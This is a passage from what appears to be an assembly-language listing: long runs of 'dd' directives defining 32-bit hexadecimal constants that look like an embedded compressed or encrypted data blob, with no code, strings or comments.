7821A5C1h, 88A95880h, 0C6292700h dd 0AF17670Ch, 0E5CE0055h, 6CD11ED3h, 2609EE51h, 60C58624h dd 14DD48h, 95B1F1A3h, 42A61A4h, 80E3BE00h, 0DA21C5EFh dd 0A60F005Eh, 16D99F25h, 0A4009263h, 0F11FE45Ch, 0A81E19h dd 3A968C7Ch, 0B4122F49h, 0B9F49000h, 0CC5618C1h, 0CDED1E66h dd 57348159h, 20B72F11h, 7C1D257Ch, 602C04F9h, 0CB46813h dd 0C781201Dh, 0FD004AF0h, 954CB5ABh, 630DB1BEh, 0C570B8DAh dd 3AD0EAE1h, 5603F040h, 0F6EF127Eh, 41B20098h, 6D096C7Bh dd 0B604829Ch, 0D554062Ch, 148838ECh, 4BEFF080h, 0E22456h dd 7DB602CCh, 0DD9D5546h, 0E4F5C81Dh, 4B1A3903h, 0EB41275Fh dd 11602C64h, 4E9AA130h, 16BD077Eh, 0A0D05F5Eh, 0DED6820Ch dd 532DC300h, 1C3B09F6h, 0A2ED003Ch, 6A4995D8h, 0D2009C38h dd 0DAEA4E03h, 0C4E676h, 0DEF95D84h, 1AEE8FB0h, 0D8CBC903h dd 98E30CF3h, 2C31079Dh, 23C399h, 144B6BE0h, 0CB03DD5Fh dd 0E35A377Eh, 0DE0CF8A9h, 2A830089h, 1D82F33Fh, 0CD1D90C0h dd 0E42C6618h, 0B1DD823Bh, 807207ADh, 52C63CE0h, 3E100B70h dd 6700F388h, 0BD110209h, 5C5923Ch, 7D8D5BCh, 0BE8A8420h dd 0DDE90356h, 0EB8BF498h, 21AC0930h, 5685AAh, 96264390h dd 42BACC02h, 0C4E9081Bh, 0A95FC850h, 0CB58C892h, 0F4A900CBh dd 0A9F5B0DDh, 0AB10A92Ch, 0C5035684h, 139A5871h, 9B8AB111h dd 14161A30h, 0D0C96B41h, 5080A880h, 8B609188h, 19E2B211h dd 9C252432h, 941D0C00h, 0B7B608h, 19E5DD1Ch, 64CD0076h dd 833A1B8Ah, 9E0C4720h, 68F1F548h, 1407070h, 9F97CAA1h dd 809C3B28h, 7F2CA718h, 237AFCh, 3CB75192h, 1DC7AE45h dd 17865200h, 7EBF2B5Fh, 0EC7000B1h, 0A89FA985h, 0E875252Dh dd 0C0F111F8h, 0F200801Ah, 0ABAAE757h, 126BDDh, 65DB8A0Bh dd 2FCDBCD2h, 20EB6C00h dd 7A3339A8h, 0B3D0022h, 0EF8AA34Dh, 4B010FF1h, 2747498Fh dd 0D8CCDD88h, 3EE256h, 0B8344AB9h, 0DCD0CBEDh, 0E5FA0103h dd 0C0AEB5FBh, 28173362h, 0C83872h, 25C0FE5Eh, 0C9F0E92Ch dd 24E81E00h, 51025BD4h, 0D9E20064h, 41088717h, 8900BFB4h dd 6BE711C9h, 7815431h, 2CA3C82Bh, 0B322E73Ch, 28D8D174h dd 1B004B70h, 59460849h, 18E1DD76h, 80DAE2Dh, 20C07E5Bh dd 0BB462037h, 0FCF80080h, 0CDD5DA77h, 61003893h, 0D87622B7h dd 0FDC2EDh, 10CC034Ah, 0A2EEF383h, 18B52100h, 19E3ACF7h dd 0E52E0129h, 0CF591ABDh, 8003E324h, 32B08F16h, 0A17CF933h dd 0F71E0C41h, 0B9CAA180h, 17EC4CCBh, 9FAA4A06h, 46C9B74Dh dd 460C02F5h, 1C3D7665h, 46246300h, 3067C02Fh, 975F0DBDh dd 0BF369320h, 62FB9E50h, 47C1C870h, 0ED641883h, 58DA1819h dd 0E4FEFC7Ch, 4C5CD007h, 0A57065ADh, 5AE226h, 4EA8989Fh dd 7D91EE84h, 46235200h, 9610EF02h, 264476B4h, 8A89F8h dd 30549A32h, 0D0006375h, 48E5F54Ch, 0E0933A08h, 4E5D012Fh dd 0D120C77Dh, 2E58607Bh, 604D331Ch, 0B0418840h, 6E8D63h dd 0DF5BFAEFh, 0AE785E13h, 6AD13300h, 0F0B3F2CBh, 25220015h dd 0FA081D66h, 3013CE0h, 2939389Eh, 68E4330Ch, 0B47683h dd 977D2F14h, 0B007A0C0h, 3A52E863h, 431E92C8h, 2812B8FEh dd 358F0001h, 2CD9ABB4h, 3F00A485h, 0BDB0E16Bh, 9897874Ch dd 15611DF5h, 1F7D4036h, 1D25CE2Bh, 0D6B3E900h, 56DB5890h dd 2CD839F7h, 9B9D2D80h, 1BC4FB94h, 0FF578600h, 0B89C3321h dd 6703006Ah, 0E846D461h, 0AB0091D2h, 81E0CDF9h, 1BC5B5h dd 0F25154C4h, 3D09CADh, 0D994570Eh, 979BC0CDh, 8986CFh dd 0A6C4A565h, 1261ACF0h, 0B358C500h, 0CACF5256h, 3F5D185Bh dd 8B6A5015h, 3AB511Ch, 1EF79181h, 0E88098C1h, 787CBD57h dd 0D200EFA6h, 45FA449Dh, 0C0B91CACh, 196B4A88h, 9E006CA8h dd 97C4CF7Fh, 3E678C69h, 4F30F295h, 75D62C98h, 5608D418h dd 327DF10h, 0FB36C4C9h, 5BB83777h, 0FF3A1EE6h, 0D27000B2h dd 8557BC1h, 0D09100AAh, 0C2955A93h, 78001DA1h, 60B1892Eh dd 848D87h, 7B452ADDh, 8E923D80h, 57041582h, 0F8CD9100h dd 22DC18h, 2305CA29h, 0DAF23447h, 853CB400h, 0DE1BBDE1h dd 3BF80F30h, 3D0EE207h, 640FF80h, 0D0F9D7D1h, 2901DBDEh dd 0BD3ECB12h, 41D0C232h, 1B013E07h, 2CDD190Eh, 0C0CA0E40h dd 0F61F1A47h, 0DC00F358h, 0D66D42FBh, 0FF8702Dh, 21493833h dd 0A9F4C106h, 4EFEC000h, 1E12DD8Dh, 0D0EB00D3h, 841BDA4Bh dd 801D2253h, 0C092BA68h, 0AD45CA00h, 0C8E44614h, 0F5421E29h dd 212D2463h, 0B211DA15h, 6C41111Ah, 2D109912h, 8B689D2h dd 481D02DFh, 99E5C0FBh, 25370A22h, 993C1E4Ah, 8912905h dd 0E244490h, 30E011E1h, 0AE107D12h, 8628919h, 0A912440Eh dd 23172284h, 4C112642h, 1FB52107h, 7A4222F2h, 1118A911h dd 3C118B21h, 9188743Eh, 0E84300A8h, 0F34CA9B6h, 24E69EBBh dd 0AE3C650Eh, 2A8F0382h, 0DA3D90B5h, 0B700051h, 0F864A48Dh dd 55007E90h, 0B21EEC61h, 1C536DBCh, 80E25E70h, 34BBDDCBh dd 7F00C4A3h, 373FEC8h, 7EF30C5h, 493ADBD0h, 6D89080h dd 650035DAh, 36F9D6FEh, 7104C75h, 0A512790Dh, 1C93438Dh dd 2384B088h, 0FC2E150Ch, 4B21BEh, 0C5F3EA20h, 71BA8525h dd 318424E7h, 493E5D00h, 96346AADh, 3D53009Ah, 6FE5783h dd 3500D70Eh, 51D8A46Bh, 5DF582h, 217A6650h, 595236D5h dd 80C71038h, 0EB588EA0h, 794F47h, 0AB768CD4h, 9DF823Ch dd 0EA4E9000h, 390A0B0Ch, 0C020E393h, 25E9C03Ah, 9467D524h dd 452D6800h, 964813E6h, 75511C59h, 1C5380C6h, 8BD601ADh dd 67D7C700h, 0E5D03B7Ah, 0A19A00EFh, 0B2047BF7h, 28C01E29h dd 3891D4A8h, 0BBE06Fh, 566A59DBh, 7A43A5E2h, 0AD800200h dd 0AF9B3F8Eh, 9A8A023h, 0B4060063h, 0B3B552A9h, 0FA07DE62h dd 614EBA22h, 0F5653BE0h, 1D49007Ah, 258E69BDh, 40166D5h dd 0CAC52801h, 8FE8F8AEh, 0E2FDED10h, 0FC478C8Fh, 0E60E94E0h dd 0DA00CEC9h, 394DFDA9h, 93EB17h, 30043815h, 0CD322EE1h dd 0D507DC14h, 315500CCh, 336DAC90h, 738A0099h, 1DBEDB5Ch dd 6900C824h, 72F11723h, 0F4F5EEh, 4311B92Fh, 481AAC1Ch dd 8892205h, 0F700C24Eh, 66798BA6h, 3890F2h, 1981B3E5h dd 29B0F345h, 0B857493Eh, 883C03E6h, 88121BB1h, 0F0FDB55h dd 0C6F2D02h, 0E97DC03Eh, 489D2603h, 5F747E0Eh, 2ACCA032h dd 245EA67Ch, 181C15h, 0F7386F55h, 583896EBh, 8034B8CBh dd 28DD024h, 0E8EC25h, 4F2F321Bh, 0A3813804h, 3B0A1C14h dd 0BEE600E9h, 2B3D9F57h, 0C37A00F6h, 0EB1612B1h, 8898D180h dd 7347101h, 0E1D4EDBh, 7A5B3DCCh, 0FF9300ECh, 0BB18D143h dd 97036F09h, 16644258h, 48AB88E0h, 0FAD600B8h, 0F5203EDEh dd 60EE530Eh, 7B896F00h, 40D7F676h, 0C5F26Eh, 791E85EBh dd 0EA2E0E63h, 4F1FDB98h, 9C435211h, 9869A57Ah, 9DA4A9h dd 8CAD7351h, 56C71B38h, 318E1D00h, 9BCD26D3h, 51B3000Ch dd 1FDF64D7h, 0C80FE0FFh, 20C09501h, 0FE8F4731h, 2426FADDh dd 8CC54Ah, 86A748E7h, 5E00AD3Dh, 0BB5A6CF4h, 0F22F8F9Dh dd 1B400045h, 334D5FF2h, 9E00707Fh, 0DB6173C8h, 0C28F1h dd 21233803h, 0ECCD83B1h, 7F7D5800h, 1EF4EB4h, 12F4009Ch dd 0E2DAB97h, 22860FBh, 5900A83Fh, 48BE2272h, 1D9FEE6h dd 0DA9B790Fh, 0E8E1EB9Dh, 30250BDh, 447A911Dh, 23CDE129h dd 0C29024h, 0F58382B9h, 45F75DFh, 0EB411204h, 40C014D6h dd 0CC36322h, 364F696Fh, 0B202BDD0h, 70D99765h, 540040B8h dd 0C30E384h, 0A6390CDBh, 0A3914B8Ch, 0B2631A00h, 2BE1E220h dd 948000AEh, 518C474Ch, 2100DE7Ch, 49C80211h, 0AF2E9Ah dd 34D6C09h, 7A905FA3h, 0DAD98A00h, 1CB64701h, 800099DFh dd 313D6AA3h, 86000C30h, 29EC2770h, 45C0B3h, 886B5CB5h dd 8E6CBD09h, 7D974F00h, 4484C60Dh, 49B10014h, 4A1D9A91h dd 600A051h, 68F3B2E1h, 777D08h, 6B0328F9h, 7B8B23D3h dd 0B193F403h, 0E0F6FE64h, 240E8718h, 0BF80F7Eh, 2820994Dh dd 6B83A29Bh, 0B6298400h, 80D02C15h, 0D3FF0037h, 0EC2D3645h dd 7A0041A7h, 0E2B4039Bh, 913A60h, 8EDAA6D0h, 1835EA2h dd 0F8F86E24h, 49ABED00h, 0A09CA914h, 87BF8Ch, 1C571F92h dd 0D9259D54h, 9C984878h, 13CC3B00h, 3D5D9A15h, 0EEB700ACh dd 6EF7AF83h, 40044C2h, 605BD2D9h, 3AEC3DD7h, 0F802588h dd 0DFE93A73h, 4300D6DAh, 0CC3E78C2h, 1FD2B45Dh, 27EBA4Fh dd 296BC4F6h, 48C12040h, 0DCC72000h, 7DE7CC14h, 2A6E608Eh dd 3E49FDA8h, 0D77C9D0Fh, 0BF6183F7h, 5F5EF878h, 0CDB700B9h dd 21F9D540h, 7C0FFC7Ah, 0BCD343CEh, 8040B81Eh, 8685C18Eh dd 0B2F50055h, 2C1BFE3Eh, 3900F6ADh, 447682E7h, 7478B0D8h dd 128A0053h, 67A59CC7h, 900CD63h, 0CA7B9175h, 3DA4FE03h dd 1E15C654h, 7ED453h, 0A2ECB77Ch, 0BFDF5895h, 0D48FC200h dd 92EA4B4Ah, 9D331D5Bh, 0D2A1009Eh, 165F10A5h, 0FC7F5E00h dd 5A5976BCh, 4E1A0EF8h, 0D4E20E19h, 2900E7A2h, 2D75D7h dd 7CB0E0F4h, 39C2CD57h, 1EDA58h, 622AD2A7h, 0CAAC6Ah dd 177D1C1Dh, 39DC1561h, 0E43ECC07h, 2BE0D6A1h, 482EF48Eh dd 0EB00B8CEh, 0AFA45C9Bh dd 9000545Fh, 0AC0E8296h, 0CB8D40h, 94E07D66h, 175DFEF4h dd 37023CB9h, 4879AC80h, 0C1E3C0h, 0CD95767Eh, 64BCD73Fh dd 5CE98D14h, 0F91200F0h, 0B5432C0Bh, 0D5F630E8h, 0ED6F5619h dd 31CB2B16h, 0B60C0Eh, 7C50E371h, 63E62Eh, 0E5C68024h dd 9FE84F67h, 47B61400h, 89E90234h, 91320393h, 7F9069E7h dd 0D597B1D9h, 0A863309Bh, 1AB9ED00h, 6A389A19h, 0B5D90778h dd 0A7DC4D39h, 0A9BDC0E9h, 0E4168809h, 84014C59h, 0F2FFFC8Ah dd 0DD29F4h, 3135B175h, 0F1B6F302h, 58D70505h, 0F44BBA20h dd 0C0608195h, 636071AEh, 9AE603B3h, 0F66F5EFFh, 8B577FA8h dd 351212F6h, 27006932h, 40635C82h, 5D6200F6h, 0BA028449h dd 4B0A64E4h, 0F4FAA638h, 41F32501h, 81DEBB07h, 691F194h dd 1BF1B444h, 0D56CC440h, 0F7A00063h, 4BC64C22h, 890F657h dd 0C9262D04h, 7A00AA10h, 15EFA462h, 0CED51400h, 0D1D40E39h dd 0BC360004h, 43C2ED9Ah, 96F0FDE6h, 0ECB14700h, 0A94C5363h dd 10D7DA7h, 94050AFBh, 20FF54B8h, 890E7F3h, 0D0A45616h dd 8AD6FC00h, 0B8F342EBh, 11DB0794h, 0F00AA5E9h, 0C2AE8919h dd 8D487500h, 0EC3331DDh, 16BA90DBh, 1D9CD4h, 49C76F74h dd 2B00512Dh, 0D1540CE6h, 3F43650h, 673A86D2h, 0B5E87105h dd 0E17F1B3Eh, 0BECF3100h, 404FD8BAh, 34163CDAh, 7353680h dd 0E509DFF4h, 1FB9F700h, 92EFD71Eh, 542A032Bh, 0DDFBE4A1h dd 5F7CE0B0h, 3F00409Ah, 525C5974h, 9D03A69Ah, 0F000C2D0h dd 943CFB0Bh, 0BF41BD0h, 0B7B009D9h, 0CBAC4002h, 0C1CC8448h dd 35002DF6h, 7F914A56h, 26F394D5h, 640B2Ah, 3DEDD49Ch dd 0E9037215h, 6433CF22h, 0DE2DA89Eh, 7F3A006Ch, 0BE6D6F1Eh dd 4207306Bh, 0EB81901Ah, 0EEC05C87h, 0FCE28E32h, 748901D5h dd 9BFA39AEh, 0E6B47002h, 227A7300h, 70CE7D38h, 0AAF307E3h dd 208E1888h, 1F395E71h, 0B81BEA0Ch, 269D21FEh, 405048A2h dd 0E04CE233h, 7D72D41Eh, 981102C6h, 817139C8h, 22548500h dd 0CD6430ABh, 0D04C3Ch, 96923BBAh, 61AC0DA1h, 317B598Dh dd 3848CE2Eh, 0BA07C864h, 2C191148h, 0A9CC801Bh, 0D3F136h dd 0C8F468BDh, 7BD1E910h, 0B223F802h, 603B82CEh, 7E1A04h dd 0B0A043EFh, 0C6E4D6F5h, 20C88D07h, 0FFE06235h, 11FAC2Ch dd 7D6DA83Ah, 708D69DFh, 0DB00B38Fh, 605D3F9h, 35A08E3h dd 12785D1Dh, 0EBE03744h, 6C004AA6h, 0A3923A47h, 72331173h dd 14A8010Ch, 1EE0638Eh, 0CA70D458h, 34C0B91Dh, 0E3F20F00h dd 3E6B48h, 0C87AA04Ch, 6DCCDB24h, 0B7022773h, 0AB93D288h dd 0FD60F768h, 0A20B457Fh, 803D57BFh, 654C8C28h, 3CB1FE42h dd 0B88097A1h, 0A26B2EFCh, 3FB80120h, 0DD382600h, 0EFC285FEh dd 0A5420040h, 0B9289BE5h, 5F0D2970h, 109AF5D5h, 2DCA26FCh dd 50C0C7ADh, 49189558h, 5621A18Bh, 0C210745h, 10530A44h dd 0CB65E5C0h, 6DD9CE00h, 0E3F191CDh, 3F72E7h, 0E1DB50F7h dd 3C62B91Dh, 0AA0F040Fh, 0A9A4E1AFh, 0BF4D41Ch, 337100C0h dd 0A811BBDFh, 6F0F6368h, 40E0E840h, 0FDC7ACCEh, 0DB0A0738h dd 207CC082h, 62521714h, 0B62AE500h, 0EC0F2BD2h, 56BA013Bh dd 1B500DBCh, 0CDC1D4C4h, 0AB0BE3E2h, 0F163C4Fh, 0DC14C014h dd 0E27A36FBh, 47A86h, 0BEA6D15Fh, 0A12BE284h, 9DF8AF4Bh dd 3C7A300h, 16735335h, 494CE600h, 62D68AB2h, 0FC40008Ch dd 0E7EB3FDDh, 0D507AD44h, 0C412728Bh, 7AD0608Dh, 9DF000D2h dd 0FA6C39A3h, 8100BA46h, 0FC03E8A6h, 0F3F30C1h, 0B2448C0Ch dd 8294D7E0h, 0A70074E2h, 4601C85Dh, 0F4867h, 4CC05CD9h dd 98B97BFDh, 8F62803Dh, 0A0E5B337h, 132B4B04h, 1BBF00B5h dd 0A151C9FAh, 0EB581C7Bh, 0E7670F7Ch, 0FED8E05Bh, 3D6F3C59h dd 15803791h, 82C2E0B0h, 0A1007004h, 0E3941C8Ch, 7E7722h dd 325F081Bh, 43ED598Dh, 85100D00h, 0AD31A635h, 0B7B15082h dd 10A56024h, 0B7AAE44h, 6F1B4E03h, 8F970DE7h, 6A8475F0h dd 0B0B33019h, 0F44E3728h, 0CF06501Dh, 970B53C0h, 0C0193E0h dd 42E6D27Eh, 804446B1h, 0F57F141Eh, 7E0FBC4Fh, 980546Dh dd 0B11986DEh, 0E7974A00h, 84D1E41Eh, 0D3F5007Dh, 0C42C980Dh dd 377A4303h, 0C7003EE4h, 1180DEC9h, 7A6C93A3h, 0A95A3A5Fh dd 56303480h, 6245F685h, 0EFA7430Ah, 6700E0A6h, 4F217B8Dh dd 2F760106h, 56E5156Bh, 0D02BDCF6h, 5022082Fh, 4CF700D2h dd 9FF3464Dh, 173ECAB7h, 0A8C11E0Fh, 0FE764580h, 2B149Ah dd 0AB24C9Ch, 655BAB23h, 8A108460h, 194DC0Eh, 18AC7630h dd 82CE8E2Ah, 0FB7BE780h, 2E584893h, 0FDDD0086h, 40E8A348h dd 1BE42C84h, 0F6CDB31Eh, 76562C3Fh, 0BC877800h, 602993h dd 0CAA4C0C5h, 0D9C69142h, 4B8FB814h, 69E303A7h, 0C0AA9402h dd 9D7A1Fh, 0A608EB70h, 9A6C218Ah, 49616A16h, 0D8507300h dd 185B0B6h, 70CABB3Ch, 2053BD0Ch, 0F97CF774h, 0DAD4F100h dd 2967B094h, 0D1433E73h, 50ED1F80h, 665AD664h, 2637E2E2h dd 0E133D8FBh, 9F380EE6h, 8480C5ABh, 5E76B34Dh, 5CA8A600h dd 8F17E945h, 0B2B707CFh, 0C0F5BF35h, 5D333DC7h, 8061A201h dd 0E2F118E4h, 24362570h, 9515C22h, 0D4207907h, 9F1C1BF6h dd 8DC249h, 9C40F2CDh, 7532A3h, 928F8790h, 0F5238BFDh dd 0C06EE000h, 727BFAA1h, 0D0516A1Dh, 80608348h, 53B004B3h dd 0B41D4BB5h, 0BB871EC4h, 2B30819Bh, 3E7D9250h, 0EB97DC36h dd 0E7CC0B61h, 0EC127BDCh, 62756040h, 33CD313h, 47764AD0h dd 28B02061h, 7301A6A5h, 0A29A7B14h, 241205h, 443F0095h dd 8AB064B7h, 7E308208h, 8F2EE81Dh, 6C1296Fh, 21A70094h dd 28D26227h, 545BC600h, 61DA4D42h, 0BF87007Ah, 40E1C1D8h dd 2018CC29h, 0F3386D41h, 0ECAB00A2h, 967C9F5Fh, 4A00DD3Fh dd 0CCC9ADF2h, 0EA97235Ah, 92590024h, 673F75ACh, 150017A3h dd 278C8F98h, 52D8DBh, 0F9FEB786h, 13AC9057h, 5501FA7Fh dd 3EBA1170h, 48E49D43h, 0ED990031h, 0DD186194h, 0E4007D2Bh dd 8F1BF49Ch, 3AE79D4Eh, 61003239h, 8EC46663h, 0A80058E0h dd 6DE1C334h, 269A023Ch, 564E59h, 6F0F166h, 1E017730h dd 0ABA04BEEh, 5D9AE11h, 513B1FCh, 0E848CB71h, 5798C09Dh dd 7CEE0EEBh, 431FC800h, 0A62B0F81h, 636A07BCh, 7017BA41h dd 0F099C7B8h, 1FE52C00h, 0A0F33D77h, 0FC6700EEh, 0BED24A39h dd 0F839A806h, 443A0004h, 0D724660Eh, 47A1077Ch, 0A0B0E24Bh dd 4CA26325h, 90612200h, 0F9E41375h, 5DB4188Ch, 0BDD8C009h dd 0AA711600h, 8FB724A6h, 0E1CC0021h, 63C7A0CDh, 560F3991h dd 7C5894D4h, 0E190B80h, 48F89Dh, 2674A7F3h, 0AFCF2491h dd 0BA3EF1Eh, 29DCA280h, 8C7046h, 2BEEF655h, 6DFCBED9h dd 41D680Eh, 8069EF2Dh, 0B5CA5E88h, 8ECA5h, 0D5818944h dd 0B01FFA53h, 0B8FFD200h, 0FCC923Fh, 0B33B3C7Bh, 0B464B600h dd 4205F234h, 0A3AC7700h, 5A2B12C2h, 0BBCF0C56h, 24288AFCh dd 82A28100h, 0E39D9BA0h, 2C7A0001h, 0B1E88DD4h, 0E700A3B5h dd 92CC199Ah, 12971ABBh, 40211012h, 0A19369D4h, 0D84E7C50h dd 0C00C787h, 1849528Fh, 0A0F6BE22h, 0D748964Ah, 39AD0064h dd 0C8445ACDh, 12749055h, 9294501h, 0E4A04C54h, 8B1F66C1h dd 91096A78h, 2017E7D5h, 0B18047B4h, 0A7B701F4h, 0EFFB5845h dd 9D5884E8h, 28D081F5h, 0C74E3FEh, 0AD96E023h, 510E2A79h dd 0B124AFh, 0F21876C2h dd 0EBEEF4D0h, 2A11AF4h, 20D32C11h, 0F841686Ch, 22306271h dd 24C13CA7h, 1795793h, 38840824h, 3DEC245Ah, 0BD147A7Ch dd 838DADh, 24A89DFCh, 7B749F2Dh, 3E05004Fh, 7B982BF8h dd 0E603EADDh, 0A466C1Dh, 91E98857h, 62C006E0h, 0C84824A2h dd 7330AF00h, 97DBAE12h, 788360EAh, 0F653A1D0h, 0B7542900h dd 42033718h, 0EB0B007Ch, 0FD26D92Ah, 44301620h, 4CCA3066h dd 0E0D715DCh, 0AE02905Ah, 83C311ECh, 93E970E0h, 57EC2877h dd 0A62EAC00h, 94CB66C0h, 485D1767h, 8BBC07B6h, 0B02307FFh dd 0CC50EED6h, 47E5B105h, 80006185h, 2DFC8912h, 106E6040h dd 16A4F6AAh, 62C82801h, 0A1E4C9CBh, 0E8D7D8C4h, 0E6C50014h dd 70DD4CF5h, 38488227h, 0CB9700D8h, 3759CC0Fh, 49B0017h dd 74AA77C1h, 6D00EAB4h, 70B0C8F5h, 0D87361h, 0FB29AE01h dd 1CA36F2Ch, 34142112h, 0A5781400h, 4C228h, 0D56BA0E4h dd 37D49732h, 61335005h, 64808372h, 1D0C5FB9h, 0DF4BD63Ah dd 0CECA4038h, 75DA3040h, 0F32EA700h, 0B26F3290h, 0C8AD075Bh dd 61501429h, 0C61E606Dh, 0FAB6CFE0h, 64F8DA00h, 0A89E75F1h dd 83EE0E17h, 5BE07C86h, 0E994538Bh, 68465Ch, 0D13C1F5Ch dd 0C874EAh, 8D10380Ah, 0DFB93A5Bh, 1831984Ch, 0BA1A6BBBh dd 879D0141h, 4413EEEBh, 224820A7h, 913CE4FEh, 87D3AE33h dd 9D9C9E00h, 203265Bh, 19A96C55h, 0CAC08C23h, 8D123E0Eh dd 0B300E5E9h, 130B3B94h, 0EA1B008Eh, 814020CEh, 3F04B298h dd 0BDC91FADh, 0B71E00EEh, 0F3294A2Eh, 0D45C7E00h, 8786E09Dh dd 37360021h, 0B2318D95h, 0F8902AC9h, 0D87D3E00h, 0E49A6A73h dd 58B900D3h, 3B7ADE5Eh, 0C60B8C98h, 31BA2Dh, 802EF1CDh dd 0DBC90072h, 0D1651EFEh, 0BD014A52h, 698DBC3Eh, 64E86D36h dd 0C4FEA7h, 0C93416ABh, 0FB20DA33h, 5B01CEF2h, 4CFF46FAh dd 51207FF2h, 0F94916CDh, 0F66C4523h, 5B27C098h, 690F56E6h dd 0EB77B410h, 4E82009Bh, 2F96BCh, 75B5F3B2h, 833E7908h dd 4D004FF8h, 0CBB9951Fh, 2D44C8Bh, 88D603C7h, 868EB30h dd 0AA007AE7h, 446A1843h, 353428h, 3D1C1377h, 147383Fh dd 5302E076h, 70DE02FCh, 7852F1h, 38B419D1h, 18AE1363h dd 0FC8AFA00h, 878DBB23h, 0D3CA0E0Bh, 4300EB28h, 0E9562ABAh dd 0C603E7F0h, 0F79E9CEEh, 55F8B819h, 0DBB10003h, 0AA624F3Ah dd 0A10E5128h, 0EFA81E84h, 1BB88088h, 73E5Eh, 6D7F9348h dd 1EE7D350h, 64FA3890h, 0A44EE330h, 0B306FCAh, 77EAAF15h dd 0A8EB4280h, 0B70017B9h, 0ECDF36C6h, 2E5001CEh, 3C691A1Bh dd 0A5560780h, 2D913F17h, 6F42EA00h, 48E2FA0Dh, 0CCE009Dh dd 6430A225h, 900031B8h, 0E00557A3h, 2A5946Bh, 0FB8E7A04h dd 5050180Dh, 0BE8A1B1Eh, 0B0656700h, 73E03Eh, 57E54182h dd 2F114B8Bh, 0CB7E5D00h, 0ADE7C0Bh, 899F063Fh, 88A40E77h dd 1BC6E500h, 0D7B8FE53h, 0E0D398E6h, 81E5B03Bh, 6AF0FA86h dd 0AF1200BFh, 0BEF005C4h, 0D70003C5h, 91C64EA9h, 7F7240h dd 7E56E452h, 8E2CEDE8h, 5A0FA11Dh, 51DECB03h, 8D1BE064h dd 22AFABCh, 0AD318FD7h, 40409153h, 0E6001A2Dh, 0EDD6F47Ch dd 1FB1CE33h, 41F1329Fh, 0B694EFFFh, 5EE7E819h, 640D8D00h dd 47AD7B56h, 0E49F1C61h, 6BFE4259h, 0C0502C57h, 7ABF0E00h dd 9BAF01E0h, 81E2008Dh, 5E6EABCFh, 0F7FC87DDh, 0A1C9BD0Fh dd 0BEB18072h, 0D65B22h, 0AE51AF8Ch, 61CA4381h, 8D721318h dd 0BDEEE4h, 0D5F3DFA4h, 0C7DC7998h, 0E555AB00h, 0D754FECh dd 0A860015h, 20092E2Fh, 0BD01487Bh, 403C6E59h, 8D44725h dd 1D78ECEDh, 6D1D56h, 0E4A268BFh, 8E76F66Ch, 4D52C500h dd 3D7A819h, 0F4FD0791h, 0E039BAE9h, 401CC4FCh, 0D37EA47Dh dd 1A8A9C00h, 3153EE5Bh, 0B0E50045h, 0B962E0AEh, 2A00CD13h dd 52E4C2D4h, 1DFBB62Dh, 0C0DD594Fh, 0F1800E1Ch, 5001844h dd 0C35AC749h, 60D667D3h, 25945046h, 0A9007A4Bh, 0C547D228h dd 30DBCBh, 36ACBCDDh, 1EEA05FFh, 910018B8h, 28860FBh dd 975EC7h, 9D30F04Ch, 3121CEC6h, 60654100h, 83B6C0D5h dd 1C3C7552h, 4015335Dh, 0F571516Bh, 0CE00278Ah, 0EAE5B92Ah dd 1F3F26h, 65505C44h, 93615812h, 0BF55F718h, 418DF0h dd 47A5BBCBh, 0F2C53F1h, 0A30177EEh, 3DEB6EE2h, 0D8C8C431h dd 936F006Ch, 9D66100Eh, 4700B559h, 0D09444B7h, 9E0A3h dd 5B968680h, 83B8C8D4h, 9DD6630Fh, 78C0BD7Eh, 49613B0Eh dd 74D500EEh, 8B4A3DE7h, 0F04C72E6h, 16750FD3h, 0A3A60E8h dd 35FF5AFh, 0B685984Bh, 0F0268C5Ah, 80E181Ah, 76E26031h dd 36A750Ch, 0D0AE3CFCh, 84D0F60Eh, 6503771h, 4618AFAAh dd 3A11C1D4h, 4A7A0F9Eh, 95411FBCh, 0F8628D24h, 9490D3B7h dd 2288BA50h, 0E257A600h, 0E55EAB19h, 4F9E00F7h, 91E6FEB8h dd 0F400D6A3h, 0DA9D89Dh, 0EFB7B3Ah, 27435DBh, 803C6224h dd 3904FD58h, 4B051001h, 0E0B6D1E5h, 584E49E4h, 101FE8Bh dd 0DF7B4D26h, 1EC17A1Bh, 0AEC4C10h, 6A51D52h, 14A80056h dd 0A31A0F87h, 715D2000h, 4933B964h, 13DD3CFCh, 0E4423C00h dd 60E53622h, 673BBF00h, 0AA4EE6B2h, 0D2EE007Fh, 0D5954796h dd 1F0FE05Dh, 8B7CA202h, 4BB880DBh, 8CD3CFh, 3363C035h dd 3AFA2852h, 0B6D6003h, 0B051D05Ch, 3E0ECA14h, 0A10F6F70h dd 4C62D269h, 30608F2Dh, 4900E976h, 0C8A739EBh, 904F95B3h dd 89E801ECh, 0DCA6B1AFh, 0A499F4CEh, 92B0DB17h, 4B0EF4E8h dd 6D200A74h, 0D134977Eh, 1D789A00h, 4F6B21E4h, 4329002Ch dd 49D7F26Ch, 943F939Fh, 1A04F9A6h, 203EBF56h, 75CA13C0h dd 33E13CF4h, 5511DBB1h, 92D0F73Ch, 307EFE10h, 0C26F5B0Eh dd 2940DFEFh, 0A4D461A7h, 18E2AFh, 0C984BBFBh, 4E89C4FDh dd 12F02B09h, 68B90A1Eh, 7178B000h, 7F25302h, 0D9398583h dd 482304Ch, 0CD5C9D07h, 213730B9h, 171B5C1h, 3F2FF193h dd 0D417E32Eh, 0F700E085h, 6A5A0529h, 0C0B0F0h, 0D0EFC448h dd 474E74D9h, 5D40DD26h, 0BC40231Ch, 8F50133Dh, 0A82650CDh dd 454100F0h, 66CA2E4Ch, 1D50E760h, 1900DAB7h, 0ACD27D9Bh dd 0FA5A2A8h, 0ABCC01A6h, 81E8E024h, 0F1E7F554h, 0EBE8EB63h dd 140A118Fh, 0A8AAEF6Bh, 83FC720Eh, 0E89ED6C6h, 50D19957h dd 0AFA44Ch, 0EC830635h, 0DFAD7D1Ah, 1F26A207h, 0B0A03419h dd 0B924B2h, 23426A2Dh, 96D522F0h, 0E690AE00h, 0C0F016Ch dd 0D7A9004Bh, 87661ABDh, 1E00B281h, 363583F4h, 0C0C231F2h dd 0DB264511h, 47009AC4h, 0A1A3D3CEh, 2E8EA027h, 1488A69h dd 8B32119Ch, 0AB2C30D8h, 30F5620Ch, 9021185h, 619A1367h dd 0A7AC000h, 0AB391CAEh, 62400345h, 0E92178ACh, 0D970A297h dd 0B1ACA886h, 397A41h, 7E186715h, 0D425C5DCh, 5EA99501h dd 89326EEDh, 10CC8E4h, 5A304054h, 326362D6h, 0DD750284h dd 407CC5FEh, 0E6B6A1A7h, 345B00B4h, 0C6FB935Ch, 